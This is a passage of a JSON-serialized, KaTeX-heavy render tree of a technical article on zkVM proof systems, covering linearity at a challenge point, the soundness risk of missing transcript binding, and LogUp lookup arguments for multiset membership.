19,"tag":168,"props":109949,"children":109951},{"className":109950},[1439,1489],[109952],{"type":24,"value":1452},{"type":19,"tag":168,"props":109954,"children":109956},{"className":109955},[1552,1489],[109957],{"type":24,"value":1555},{"type":19,"tag":168,"props":109959,"children":109961},{"className":109960},[1439,1489],[109962],{"type":24,"value":1442},{"type":19,"tag":168,"props":109964,"children":109966},{"className":109965},[19194,1489],[109967,109972],{"type":19,"tag":168,"props":109968,"children":109970},{"className":109969},[19194,1489],[109971],{"type":24,"value":31614},{"type":19,"tag":168,"props":109973,"children":109975},{"className":109974},[1456],[109976],{"type":19,"tag":168,"props":109977,"children":109979},{"className":109978},[1461],[109980],{"type":19,"tag":168,"props":109981,"children":109983},{"className":109982},[1466],[109984],{"type":19,"tag":168,"props":109985,"children":109988},{"className":109986,"style":109987},[1471],"height:0.5935em;",[109989],{"type":19,"tag":168,"props":109990,"children":109992},{"style":109991},"top:-2.786em;margin-right:0.0714em;",[109993,109997],{"type":19,"tag":168,"props":109994,"children":109996},{"className":109995,"style":106394},[1480],[],{"type":19,"tag":168,"props":109998,"children":110000},{"className":109999},[1486,106399,106400,1489],[110001],{"type":19,"tag":168,"props":110002,"children":110004},{"className":110003},[1439,19043,1489],[110005],{"type":24,"value":53887},{"type":19,"tag":168,"props":110007,"children":110009},{"className":110008},[19200],[110010],{"type":24,"value":19203},{"type":19,"tag":168,"props":110012,"children":110014},{"className":110013},[1466],[110015],{"type":19,"tag":168,"props":110016,"children":110019},{"className":110017,"style":110018},[1471],"height:0.5144em;",[110020],{"type":19,"tag":168,"props":110021,"children":110022},{},[],{"type":19,"tag":168,"props":110024,"children":110026},{"className":110025,"style":1559},[1520],[],{"type":19,"tag":168,"props":110028,"children":110030},{"className":110029,"style":92889},[1439,19043],[110031],{"type":24,"value":30558},{"type":19,"tag":168,"props":110033,"children":110035},{"className":110034},[19172],[110036],{"type":24,"value":500},{"type":19,"tag":168,"props":110038,"children":110040},{"className":110039},[1439,109683],[110041],{"type":19,"tag":168,"props":110042,"children":110044},{"className":110043},[1461],[110045],{"type":19,"tag":168,"props":110046,"children":110048},{"className":110047},[1466],[110049],{"type":19,"tag":168,"props":110050,"children":110052},{"className":110051,"style":109899},[1471],[110053,110065],{"type":19,"tag":168,"props":110054,"children":110055},{"style":109700},[110056,110060],{"type":19,"tag":168,"props":110057,"children":110059},{"className":110058,"style":109705},[1480],[],{"type":19,"tag":168,"props":110061,"children":110063},{"className":110062},[1439,19043],[110064],{"type":24,"value":621},{"type":19,"tag":168,"props":110066,"children":110068},{"style":110067},"top:-3.2634em;",[110069,110073],{"type":19,"tag":168,"props":110070,"children":110072},{"className":110071,"style":109705},[1480],[],{"type":19,"tag":168,"props":110074,"children":110076},{"className":110075,"style":109926},[109723],[110077],{"type":19,"tag":168,"props":110078,"children":110080},{"className":110079,"style":109799},[109798],[110081],{"type":19,"tag":31747,"props":110082,"children":110083},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110084],{"type":19,"tag":109811,"props":110085,"children":110086},{"d":109813},[],{"type":19,"tag":168,"props":110088,"children":110090},{"className":110089},[19194],[110091],{"type":24,"value":524},{"type":19,"tag":168,"props":110093,"children":110095},{"className":110094,"style":1521},[1520],[],{"type":19,"tag":168,"props":110097,"children":110099},{"className":110098},[1526],[110100],{"type":24,"value":108796},{"type":19,"tag":168,"props":110102,"children":110104},{"className":110103,"style":1521},[1520],[],{"type":19,"tag":168,"props":110106,"children":110108},{"className":110107},[1428],[110109,110114,110124,110129,110178,110183,110187,110236],{"type":19,"tag":168,"props":110110,"children":110113},{"className":110111,"style":110112},[1433],"height:1.2274em;vertical-align:-0.25em;",[],{"type":19,"tag":168,"props":110115,"children":110117},{"className":110116},[1439,24],[110118],{"type":19,"tag":168,"props":110119,"children":110121},{"className":110120},[1439],[110122],{"type":24,"value":110123},"eq",{"type":19,"tag":168,"props":110125,"children":110127},{"className":110126},[19172],[110128],{"type":24,"value":500},{"type":19,"tag":168,"props":110130,"children":110132},{"className":110131},[1439,109683],[110133],{"type":19,"tag":168,"props":110134,"children":110136},{"className":110135},[1461],[110137],{"type":19,"tag":168,"props":110138,"children":110140},{"className":110139},[1466],[110141],{"type":19,"tag":168,"props":110142,"children":110144},{"className":110143,"style":109899},[1471],[110145,110157],{"type":19,"tag":168,"props":110146,"children":110147},{"style":109700},[110148,110152],{"type":19,"tag":168,"props":110149,"children":110151},{"className":110150,"style":109705},[1480],[],{"type":19,"tag":168,"props":110153,"children":110155},{"className":110154},[1439,19043],[110156],{"type":24,"value":621},{"type":19,"tag":168,"props":110158,"children":110159},{"style":110067},[110160,110164],{"type":19,"tag":168,"props":110161,"children":110163},{"className":110162,"style":109705},[1480],[],{"type":19,"tag":168,"props":110165,"children":110167},{"className":110166,"style":109926},[109723],[110168],{"type":19,"tag":168,"props":110169,"children":110171},{"className":110170,"style":109799},[109798],[110172],{"type":19,"tag":31747,"props":110173,"children":110174},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110175],{"type":19,"tag":109811,"props":110176,"children":110177},{"d":109813},[],{"type":19,"tag":168,"props":110179,"children":110181},{"className":110180},[1552],[110182],{"type":24,"value":1555},{"type":19,"tag":168,"props":110184,"children":110186},{"className":110185,"style":1559},[1520],[],{"type":19,"tag":168,"props":110188,"children":110190},{"className":110189},[1439,109683],[110191],{"type":19,"tag":168,"props":110192,"children":110194},{"className":110193},[1461],[110195],{"type":19,"tag":168,"props":110196,"children":110198},{"className":110197},[1466],[110199],{"type":19,"tag":168,"props":110200,"children":110202},{"className":110201,"style":109769},[1471],[110203,110215],{"type":19,"tag":168,"props":110204,"children":110205},{"style":109700},[110206,110210],{"type":19,"tag":168,"props":110207,"children":110209},{"className":110208,"style":109705},[1480],[],{"type":19,"tag":168,"props":110211,"children":110213},{"className":110212,"style":90535},[1439,19043],[110214],{"type":24,"value":91354},{"type":19,"tag":168,"props":110216,"children":110217},{"style":109700},[110218,110222],{"type":19,"tag":168,"props":110219,"children":110221},{"className":110220,"style":109705},[1480],[],{"type":19,"tag":168,"props":110223,"children":110225},{"className":110224,"style":109793},[109723],[110226],{"type":19,"tag":168,"props":110227,"children":110229},{"className":110228,"style":109799},[109798],[110230],{"type":19,"tag":31747,"props":110231,"children":110232},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110233],{"type":19,"tag":109811,"props":110234,"children":110235},{"d":109813},[],{"type":19,"tag":168,"props":110237,"children":110239},{"className":110238},[19194],[110240],{"type":24,"value":524},{"type":19,"tag":20,"props":110242,"children":110243},{},[110244,110246,110315,110317,110463,110465,110604,110606,110690],{"type":24,"value":110245},"At a fixed challenge point ",{"type":19,"tag":27,"props":110247,"children":110249},{"className":110248},[1411,1412],[110250],{"type":19,"tag":168,"props":110251,"children":110253},{"className":110252},[1417],[110254],{"type":19,"tag":168,"props":110255,"children":110257},{"className":110256,"ariaHidden":1423},[1422],[110258],{"type":19,"tag":168,"props":110259,"children":110261},{"className":110260},[1428],[110262,110266],{"type":19,"tag":168,"props":110263,"children":110265},{"className":110264,"style":109769},[1433],[],{"type":19,"tag":168,"props":110267,"children":110269},{"className":110268},[1439,109683],[110270],{"type":19,"tag":168,"props":110271,"children":110273},{"className":110272},[1461],[110274],{"type":19,"tag":168,"props":110275,"children":110277},{"className":110276},[1466],[110278],{"type":19,"tag":168,"props":110279,"children":110281},{"className":110280,"style":109769},[1471],[110282,110294],{"type":19,"tag":168,"props":110283,"children":110284},{"style":109700},[110285,110289],{"type":19,"tag":168,"props":110286,"children":110288},{"className":110287,"style":109705},[1480],[],{"type":19,"tag":168,"props":110290,"children":110292},{"className":110291,"style":90535},[1439,19043],[110293],{"type":24,"value":91354},{"type":19,"tag":168,"props":110295,"children":110296},{"style":109700},[110297,110301],{"type":19,"tag":168,"props":110298,"children":110300},{"className":110299,"style":109705},[1480],[],{"type":19,"tag":168,"props":110302,"children":110304},{"className":110303,"style":109793},[109723],[110305],{"type":19,"tag":168,"props":110306,"children":110308},{"className":110307,"style":109799},[109798],[110309],{"type":19,"tag":31747,"props":110310,"children":110311},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110312],{"type":19,"tag":109811,"props":110313,"children":110314},{"d":109813},[],{"type":24,"value":110316},", the coefficients ",{"type":19,"tag":27,"props":110318,"children":110320},{"className":110319},[1411,1412],[110321],{"type":19,"tag":168,"props":110322,"children":110324},{"className":110323},[1417],[110325],{"type":19,"tag":168,"props":110326,"children":110328},{"className":110327,"ariaHidden":1423},[1422],[110329],{"type":19,"tag":168,"props":110330,"children":110332},{"className":110331},[1428],[110333,110337,110346,110351,110400,110405,110409,110458],{"type":19,"tag":168,"props":110334,"children":110336},{"className":110335,"style":110112},[1433],[],{"type":19,"tag":168,"props":110338,"children":110340},{"className":110339},[1439,24],[110341],{"type":19,"tag":168,"props":110342,"children":110344},{"className":110343},[1439],[110345],{"type":24,"value":110123},{"type":19,"tag":168,"props":110347,"children":110349},{"className":110348},[19172],[110350],{"type":24,"value":500},{"type":19,"tag":168,"props":110352,"children":110354},{"className":110353},[1439,109683],[110355],{"type":19,"tag":168,"props":110356,"children":110358},{"className":110357},[1461],[110359],{"type":19,"tag":168,"props":110360,"children":110362},{"className":110361},[1466],[110363],{"type":19,"tag":168,"props":110364,"children":110366},{"className":110365,"style":109899},[1471],[110367,110379],{"type":19,"tag":168,"props":110368,"children":110369},{"style":109700},[110370,110374],{"type":19,"tag":168,"props":110371,"children":110373},{"className":110372,"style":109705},[1480],[],{"type":19,"tag":168,"props":110375,"children":110377},{"className":110376},[1439,19043],[110378],{"type":24,"value":621},{"type":19,"tag":168,"props":110380,"children":110381},{"style":110067},[110382,110386],{"type":19,"tag":168,"props":110383,"children":110385},{"className":110384,"style":109705},[1480],[],{"type":19,"tag":168,"props":110387,"children":110389},{"className":110388,"style":109926},[109723],[110390],{"type":19,"tag":168,"props":110391,"children":110393},{"className":110392,"style":109799},[109798],[110394],{"type":19,"tag":31747,"props":110395,"children":110396},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110397],{"type":19,"tag":109811,"props":110398,"children":110399},{"d":109813},[],{"type":19,"tag":168,"props":110401,"children":110403},{"className":110402},[1552],[110404],{"type":24,"value":1555},{"type":19,"tag":168,"props":110406,"children":110408},{"className":110407,"style":1559},[1520],[],{"type":19,"tag":168,"props":110410,"children":110412},{"className":110411},[1439,109683],[110413],{"type":19,"tag":168,"props":110414,"children":110416},{"className":110415},[1461],[110417],{"type":19,"tag":168,"props":110418,"children":110420},{"className":110419},[1466],[110421],{"type":19,"tag":168,"props":110422,"children":110424},{"className":110423,"style":109769},[1471],[110425,110437],{"type":19,"tag":168,"props":110426,"children":110427},{"style":109700},[110428,110432],{"type":19,"tag":168,"props":110429,"children":110431},{"className":110430,"style":109705},[1480],[],{"type":19,"tag":168,"props":110433,"children":110435},{"className":110434,"style":90535},[1439,19043],[110436],{"type":24,"value":91354},{"type":19,"tag":168,"props":110438,"children":110439},{"style":109700},[110440,110444],{"type":19,"tag":168,"props":110441,"children":110443},{"className":110442,"style":109705},[1480],[],{"type":19,"tag":168,"props":110445,"children":110447},{"className":110446,"style":109793},[109723],[110448],{"type":19,"tag":168,"props":110449,"children":110451},{"className":110450,"style":109799},[109798],[110452],{"type":19,"tag":31747,"props":110453,"children":110454},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110455],{"type":19,"tag":109811,"props":110456,"children":110457},{"d":109813},[],{"type":19,"tag":168,"props":110459,"children":110461},{"className":110460},[19194],[110462],{"type":24,"value":524},{"type":24,"value":110464}," are constants, so ",{"type":19,"tag":27,"props":110466,"children":110468},{"className":110467},[1411,1412],[110469],{"type":19,"tag":168,"props":110470,"children":110472},{"className":110471},[1417],[110473],{"type":19,"tag":168,"props":110474,"children":110476},{"className":110475,"ariaHidden":1423},[1422],[110477],{"type":19,"tag":168,"props":110478,"children":110480},{"className":110479},[1428],[110481,110485,110545,110550,110599],{"type":19,"tag":168,"props":110482,"children":110484},{"className":110483,"style":109678},[1433],[],{"type":19,"tag":168,"props":110486,"children":110488},{"className":110487},[1439,109683],[110489],{"type":19,"tag":168,"props":110490,"children":110492},{"className":110491},[1461,19097],[110493,110534],{"type":19,"tag":168,"props":110494,"children":110496},{"className":110495},[1466],[110497,110529],{"type":19,"tag":168,"props":110498,"children":110500},{"className":110499,"style":109696},[1471],[110501,110513],{"type":19,"tag":168,"props":110502,"children":110503},{"style":109700},[110504,110508],{"type":19,"tag":168,"props":110505,"children":110507},{"className":110506,"style":109705},[1480],[],{"type":19,"tag":168,"props":110509,"children":110511},{"className":110510,"style":92889},[1439,19043],[110512],{"type":24,"value":30558},{"type":19,"tag":168,"props":110514,"children":110515},{"style":109714},[110516,110520],{"type":19,"tag":168,"props":110517,"children":110519},{"className":110518,"style":109705},[1480],[],{"type":19,"tag":168,"props":110521,"children":110523},{"className":110522,"style":109724},[109723],[110524],{"type":19,"tag":168,"props":110525,"children":110527},{"className":110526},[1439],[110528],{"type":24,"value":109731},{"type":19,"tag":168,"props":110530,"children":110532},{"className":110531},[19200],[110533],{"type":24,"value":19203},{"type":19,"tag":168,"props":110535,"children":110537},{"className":110536},[1466],[110538],{"type":19,"tag":168,"props":110539,"children":110541},{"className":110540,"style":109744},[1471],[110542],{"type":19,"tag":168,"props":110543,"children":110544},{},[],{"type":19,"tag":168,"props":110546,"children":110548},{"className":110547},[19172],[110549],{"type":24,"value":500},{"type":19,"tag":168,"props":110551,"children":110553},{"className":110552},[1439,109683],[110554],{"type":19,"tag":168,"props":110555,"children":110557},{"className":110556},[1461],[110558],{"type":19,"tag":168,"props":110559,"children":110561},{"className":110560},[1466],[110562],{"type":19,"tag":168,"props":110563,"children":110565},{"className":110564,"style":109769},[1471],[110566,110578],{"type":19,"tag":168,"props":110567,"children":110568},{"style":109700},[110569,110573],{"type":19,"tag":168,"props":110570,"children":110572},{"className":110571,"style":109705},[1480],[],{"type":19,"tag":168,"props":110574,"children":110576},{"className":110575,"style":90535},[1439,19043],[110577],{"type":24,"value":91354},{"type":19,"tag":168,"props":110579,"children":110580},{"style":109700},[110581,110585],{"type":19,"tag":168,"props":110582,"children":110584},{"className":110583,"style":109705},[1480],[],{"type":19,"tag":168,"props":110586,"children":110588},{"className":110587,"style":109793},[109723],[110589],{"type":19,"tag":168,"props":110590,"children":110592},{"className":110591,"style":109799},[109798],[110593],{"type":19,"tag":31747,"props":110594,"children":110595},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110596],{"type":19,"tag":109811,"props":110597,"children":110598},{"d":109813},[],{"type":19,"tag":168,"props":110600,"children":110602},{"className":110601},[19194],[110603],{"type":24,"value":524},{"type":24,"value":110605}," is linear in the table values ",{"type":19,"tag":27,"props":110607,"children":110609},{"className":110608},[1411,1412],[110610],{"type":19,"tag":168,"props":110611,"children":110613},{"className":110612},[1417],[110614],{"type":19,"tag":168,"props":110615,"children":110617},{"className":110616,"ariaHidden":1423},[1422],[110618],{"type":19,"tag":168,"props":110619,"children":110621},{"className":110620},[1428],[110622,110626,110631,110636,110685],{"type":19,"tag":168,"props":110623,"children":110625},{"className":110624,"style":110112},[1433],[],{"type":19,"tag":168,"props":110627,"children":110629},{"className":110628,"style":92889},[1439,19043],[110630],{"type":24,"value":30558},{"type":19,"tag":168,"props":110632,"children":110634},{"className":110633},[19172],[110635],{"type":24,"value":500},{"type":19,"tag":168,"props":110637,"children":110639},{"className":110638},[1439,109683],[110640],{"type":19,"tag":168,"props":110641,"children":110643},{"className":110642},[1461],[110644],{"type":19,"tag":168,"props":110645,"children":110647},{"className":110646},[1466],[110648],{"type":19,"tag":168,"props":110649,"children":110651},{"className":110650,"style":109899},[1471],[110652,110664],{"type":19,"tag":168,"props":110653,"children":110654},{"style":109700},[110655,110659],{"type":19,"tag":168,"props":110656,"children":110658},{"className":110657,"style":109705},[1480],[],{"type":19,"tag":168,"props":110660,"children":110662},{"className":110661},[1439,19043],[110663],{"type":24,"value":621},{"type":19,"tag":168,"props":110665,"children":110666},{"style":110067},[110667,110671],{"type":19,"tag":168,"props":110668,"children":110670},{"className":110669,"style":109705},[1480],[],{"type":19,"tag":168,"props":110672,"children":110674},{"className":110673,"style":109926},[109723],[110675],{"type":19,"tag":168,"props":110676,"children":110678},{"className":110677,"style":109799},[109798],[110679],{"type":19,"tag":31747,"props":110680,"children":110681},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110682],{"type":19,"tag":109811,"props":110683,"children":110684},{"d":109813},[],{"type":19,"tag":168,"props":110686,"children":110688},{"className":110687},[19194],[110689],{"type":24,"value":524},{"type":24,"value":948},{"type":19,"tag":20,"props":110692,"children":110693},{},[110694,110696,110765],{"type":24,"value":110695},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":19,"tag":27,"props":110697,"children":110699},{"className":110698},[1411,1412],[110700],{"type":19,"tag":168,"props":110701,"children":110703},{"className":110702},[1417],[110704],{"type":19,"tag":168,"props":110705,"children":110707},{"className":110706,"ariaHidden":1423},[1422],[110708],{"type":19,"tag":168,"props":110709,"children":110711},{"className":110710},[1428],[110712,110716],{"type":19,"tag":168,"props":110713,"children":110715},{"className":110714,"style":109769},[1433],[],{"type":19,"tag":168,"props":110717,"children":110719},{"className":110718},[1439,109683],[110720],{"type":19,"tag":168,"props":110721,"children":110723},{"className":110722},[1461],[110724],{"type":19,"tag":168,"props":110725,"children":110727},{"className":110726},[1466],[110728],{"type":19,"tag":168,"props":110729,"children":110731},{"className":110730,"style":109769},[1471],[110732,110744],{"type":19,"tag":168,"props":110733,"children":110734},{"style":109700},[110735,110739],{"type":19,"tag":168,"props":110736,"children":110738},{"className":110737,"style":109705},[1480],[],{"type":19,"tag":168,"props":110740,"children":110742},{"className":110741,"style":90535},[1439,19043],[110743],{"type":24,"value":91354},{"type":19,"tag":168,"props":110745,"children":110746},{"style":109700},[110747,110751],{"type":19,"tag":168,"props":110748,"children":110750},{"className":110749,"style":109705},[1480],[],{"type":19,"tag":168,"props":110752,"children":110754},{"className":110753,"style":109793},[109723],[110755],{"type":19,"tag":168,"props":110756,"children":110758},{"className":110757,"style":109799},[109798],[110759],{"type":19,"tag":31747,"props":110760,"children":110761},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[110762],{"type":19,"tag":109811,"props":110763,"children":110764},{"d":109813},[],{"type":24,"value":110766}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":19,"tag":7050,"props":110768,"children":110770},{"id":110769},"lookup-arguments-logup",[110771],{"type":24,"value":110772},"Lookup Arguments (LogUp)",{"type":19,"tag":20,"props":110774,"children":110775},{},[110776],{"type":24,"value":110777},"zkVMs need to check that values satisfy certain properties. For example:",{"type":19,"tag":43,"props":110779,"children":110780},{},[110781,110837,110842],{"type":19,"tag":47,"props":110782,"children":110783},{},[110784,110786,110836],{"type":24,"value":110785},"Is this byte in range ",{"type":19,"tag":27,"props":110787,"children":110789},{"className":110788},[1411,1412],[110790],{"type":19,"tag":168,"props":110791,"children":110793},{"className":110792},[1417],[110794],{"type":19,"tag":168,"props":110795,"children":110797},{"className":110796,"ariaHidden":1423},[1422],[110798],{"type":19,"tag":168,"props":110799,"children":110801},{"className":110800},[1428],[110802,110806,110811,110816,110821,110825,110831],{"type":19,"tag":168,"props":110803,"children":110805},{"className":110804,"style":1541},[1433],[],{"type":19,"tag":168,"props":110807,"children":110809},{"className":110808},[19172],[110810],{"type":24,"value":1152},{"type":19,"tag":168,"props":110812,"children":110814},{"className":110813},[1439],[110815],{"type":24,"value":1452},{"type":19,"tag":168,"props":110817,"children":110819},{"className":110818},[1552],[110820],{"type":24,"value":1555},{"type":19,"tag":168,"props":110822,"children":110824},{"className":110823,"style":1559},[1520],[],{"type":19,"tag":168,"props":110826,"children":110828},{"className":110827},[1439],[110829],{"type":24,"value":110830},"255",{"type":19,"tag":168,"props":110832,"children":110834},{"className":110833},[19194],[110835],{"type":24,"value":12858},{"type":24,"value":552},{"type":19,"tag":47,"props":110838,"children":110839},{},[110840],{"type":24,"value":110841},"Does this opcode decode correctly?",{"type":19,"tag":47,"props":110843,"children":110844},{},[110845],{"type":24,"value":110846},"Is this memory access consistent with previous accesses?",{"type":19,"tag":20,"props":110848,"children":110849},{},[110850,110855],{"type":19,"tag":51,"props":110851,"children":110852},{},[110853],{"type":24,"value":110854},"The naive approach:",{"type":24,"value":110856}," Add constraints for each check. Expensive.",{"type":19,"tag":20,"props":110858,"children":110859},{},[110860,110865,110867,110872],{"type":19,"tag":51,"props":110861,"children":110862},{},[110863],{"type":24,"value":110864},"The clever approach:",{"type":24,"value":110866}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":19,"tag":51,"props":110868,"children":110869},{},[110870],{"type":24,"value":110871},"multiset membership",{"type":24,"value":65282},{"type":19,"tag":20,"props":110874,"children":110875},{},[110876,110881],{"type":19,"tag":51,"props":110877,"children":110878},{},[110879],{"type":24,"value":110880},"LogUp (Logarithmic Derivative):",{"type":24,"value":110882}," Encode multiset membership as a sum of fractions.",{"type":19,"tag":20,"props":110884,"children":110885},{},[110886,110888,110913,110915,110942],{"type":24,"value":110887},"If set ",{"type":19,"tag":27,"props":110889,"children":110891},{"className":110890},[1411,1412],[110892],{"type":19,"tag":168,"props":110893,"children":110895},{"className":110894},[1417],[110896],{"type":19,"tag":168,"props":110897,"children":110899},{"className":110898,"ariaHidden":1423},[1422],[110900],{"type":19,"tag":168,"props":110901,"children":110903},{"className":110902},[1428],[110904,110908],{"type":19,"tag":168,"props":110905,"children":110907},{"className":110906,"style":19038},[1433],[],{"type":19,"tag":168,"props":110909,"children":110911},{"className":110910},[1439,19043],[110912],{"type":24,"value":74256},{"type":24,"value":110914}," should equal set ",{"type":19,"tag":27,"props":110916,"children":110918},{"className":110917},[1411,1412],[110919],{"type":19,"tag":168,"props":110920,"children":110922},{"className":110921},[1417],[110923],{"type":19,"tag":168,"props":110924,"children":110926},{"className":110925,"ariaHidden":1423},[1422],[110927],{"type":19,"tag":168,"props":110928,"children":110930},{"className":110929},[1428],[110931,110935],{"type":19,"tag":168,"props":110932,"children":110934},{"className":110933,"style":19038},[1433],[],{"type":19,"tag":168,"props":110936,"children":110939},{"className":110937,"style":110938},[1439,19043],"margin-right:0.05017em;",[110940],{"type":24,"value":110941},"B",{"type":24,"value":110943}," as multisets:",{"type":19,"tag":20,"props":110945,"children":110946},{},[110947],{"type":19,"tag":27,"props":110948,"children":110950},{"className":110949},[1411,1412],[110951],{"type":19,"tag":168,"props":110952,"children":110954},{"className":110953},[1417],[110955],{"type":19,"tag":168,"props":110956,"children":110958},{"className":110957,"ariaHidden":1423},[1422],[110959,111174],{"type":19,"tag":168,"props":110960,"children":110962},{"className":110961},[1428],[110963,110968,111041,111045,111161,111165,111170],{"type":19,"tag":168,"props":110964,"children":110967},{"className":110965,"style":110966},[1433],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":19,"tag":168,"props":110969,"children":110971},{"className":110970},[19079],[110972,110977],{"type":19,"tag":168,"props":110973,"children":110975},{"className":110974,"style":19086},[19079,19084,19085],[110976],{"type":24,"value":106329},{"type":19,"tag":168,"props":110978,"children":110980},{"className":110979},[1456],[110981],{"type":19,"tag":168,"props":110982,"children":110984},{"className":110983},[1461,19097],[110985,111029],{"type":19,"tag":168,"props":110986,"children":110988},{"className":110987},[1466],[110989,111024],{"type":19,"tag":168,"props":110990,"children":110993},{"className":110991,"style":110992},[1471],"height:0.1786em;",[110994],{"type":19,"tag":168,"props":110995,"children":110996},{"style":19110},[110997,111001],{"type":19,"tag":168,"props":110998,"children":111000},{"className":110999,"style":1481},[1480],[],{"type":19,"tag":168,"props":111002,"children":111004},{"className":111003},[1486,1487,1488,1489],[111005],{"type":19,"tag":168,"props":111006,"children":111008},{"className":111007},[1439,1489],[111009,111014,111019],{"type":19,"tag":168,"props":111010,"children":111012},{"className":111011},[1439,19043,1489],[111013],{"type":24,"value":269},{"type":19,"tag":168,"props":111015,"children":111017},{"className":111016},[1623,1489],[111018],{"type":24,"value":19150},{"type":19,"tag":168,"props":111020,"children":111022},{"className":111021},[1439,19043,1489],[111023],{"type":24,"value":74256},{"type":19,"tag":168,"props":111025,"children":111027},{"className":111026},[19200],[111028],{"type":24,"value":19203},{"type":19,"tag":168,"props":111030,"children":111032},{"className":111031},[1466],[111033],{"type":19,"tag":168,"props":111034,"children":111037},{"className":111035,"style":111036},[1471],"height:0.3271em;",[111038],{"type":19,"tag":168,"props":111039,"children":111040},{},[],{"type":19,"tag":168,"props":111042,"children":111044},{"className":111043,"style":1559},[1520],[],{"type":19,"tag":168,"props":111046,"children":111048},{"className":111047},[1439],[111049,111054,111157],{"type":19,"tag":168,"props":111050,"children":111053},{"className":111051},[19172,111052],"nulldelimiter",[],{"type":19,"tag":168,"props":111055,"children":111058},{"className":111056},[111057],"mfrac",[111059],{"type":19,"tag":168,"props":111060,"children":111062},{"className":111061},[1461,19097],[111063,111145],{"type":19,"tag":168,"props":111064,"children":111066},{"className":111065},[1466],[111067,111140],{"type":19,"tag":168,"props":111068,"children":111071},{"className":111069,"style":111070},[1471],"height:0.8451em;",[111072,111105,111119],{"type":19,"tag":168,"props":111073,"children":111075},{"style":111074},"top:-2.655em;",[111076,111080],{"type":19,"tag":168,"props":111077,"children":111079},{"className":111078,"style":109705},[1480],[],{"type":19,"tag":168,"props":111081,"children":111083},{"className":111082},[1486,1487,1488,1489],[111084],{"type":19,"tag":168,"props":111085,"children":111087},{"className":111086},[1439,1489],[111088,111095,111100],{"type":19,"tag":168,"props":111089,"children":111092},{"className":111090,"style":111091},[1439,19043,1489],"margin-right:0.04398em;",[111093],{"type":24,"value":111094},"z",{"type":19,"tag":168,"props":111096,"children":111098},{"className":111097},[1526,1489],[111099],{"type":24,"value":1500},{"type":19,"tag":168,"props":111101,"children":111103},{"className":111102},[1439,19043,1489],[111104],{"type":24,"value":269},{"type":19,"tag":168,"props":111106,"children":111108},{"style":111107},"top:-3.23em;",[111109,111113],{"type":19,"tag":168,"props":111110,"children":111112},{"className":111111,"style":109705},[1480],[],{"type":19,"tag":168,"props":111114,"children":111118},{"className":111115,"style":111117},[111116],"frac-line","border-bottom-width:0.04em;",[],{"type":19,"tag":168,"props":111120,"children":111122},{"style":111121},"top:-3.394em;",[111123,111127],{"type":19,"tag":168,"props":111124,"children":111126},{"className":111125,"style":109705},[1480],[],{"type":19,"tag":168,"props":111128,"children":111130},{"className":111129},[1486,1487,1488,1489],[111131],{"type":19,"tag":168,"props":111132,"children":111134},{"className":111133},[1439,1489],[111135],{"type":19,"tag":168,"props":111136,"children":111138},{"className":111137},[1439,1489],[111139],{"type":24,"value":1442},{"type":19,"tag":168,"props":111141,"children":111143},{"className":111142},[19200],[111144],{"type":24,"value":19203},{"type":19,"tag":168,"props":111146,"children":111148},{"className":111147},[1466],[111149],{"type":19,"tag":168,"props":111150,"children":111153},{"className":111151,"style":111152},[1471],"height:0.4033em;",[111154],{"type":19,"tag":168,"props":111155,"children":111156},{},[],{"type":19,"tag":168,"props":111158,"children":111160},{"className":111159},[19194,111052],[],{"type":19,"tag":168,"props":111162,"children":111164},{"className":111163,"style":1618},[1520],[],{"type":19,"tag":168,"props":111166,"children":111168},{"className":111167},[1623],[111169],{"type":24,"value":486},{"type":19,"tag":168,"props":111171,"children":111173},{"className":111172,"style":1618},[1520],[],{"type":19,"tag":168,"props":111175,"children":111177},{"className":111176},[1428],[111178,111182,111254,111258],{"type":19,"tag":168,"props":111179,"children":111181},{"className":111180,"style":110966},[1433],[],{"type":19,"tag":168,"props":111183,"children":111185},{"className":111184},[19079],[111186,111191],{"type":19,"tag":168,"props":111187,"children":111189},{"className":111188,"style":19086},[19079,19084,19085],[111190],{"type":24,"value":106329},{"type":19,"tag":168,"props":111192,"children":111194},{"className":111193},[1456],[111195],{"type":19,"tag":168,"props":111196,"children":111198},{"className":111197},[1461,19097],[111199,111243],{"type":19,"tag":168,"props":111200,"children":111202},{"className":111201},[1466],[111203,111238],{"type":19,"tag":168,"props":111204,"children":111207},{"className":111205,"style":111206},[1471],"height:0.1864em;",[111208],{"type":19,"tag":168,"props":111209,"children":111210},{"style":19110},[111211,111215],{"type":19,"tag":168,"props":111212,"children":111214},{"className":111213,"style":1481},[1480],[],{"type":19,"tag":168,"props":111216,"children":111218},{"className":111217},[1486,1487,1488,1489],[111219],{"type":19,"tag":168,"props":111220,"children":111222},{"className":111221},[1439,1489],[111223,111228,111233],{"type":19,"tag":168,"props":111224,"children":111226},{"className":111225},[1439,19043,1489],[111227],{"type":24,"value":621},{"type":19,"tag":168,"props":111229,"children":111231},{"className":111230},[1623,1489],[111232],{"type":24,"value":19150},{"type":19,"tag":168,"props":111234,"children":111236},{"className":111235,"style":110938},[1439,19043,1489],[111237],{"type":24,"value":110941},{"type":19,"tag":168,"props":111239,"children":111241},{"className":111240},[19200],[111242],{"type":24,"value":19203},{"type":19,"tag":168,"props":111244,"children":111246},{"className":111245},[1466],[111247],{"type":19,"tag":168,"props":111248,"children":111250},{"className":111249,"style":111036},[1471],[111251],{"type":19,"tag":168,"props":111252,"children":111253},{},[],{"type":19,"tag":168,"props":111255,"children":111257},{"className":111256,"style":1559},[1520],[],{"type":19,"tag":168,"props":111259,"children":111261},{"className":111260},[1439],[111262,111266,111359],{"type":19,"tag":168,"props":11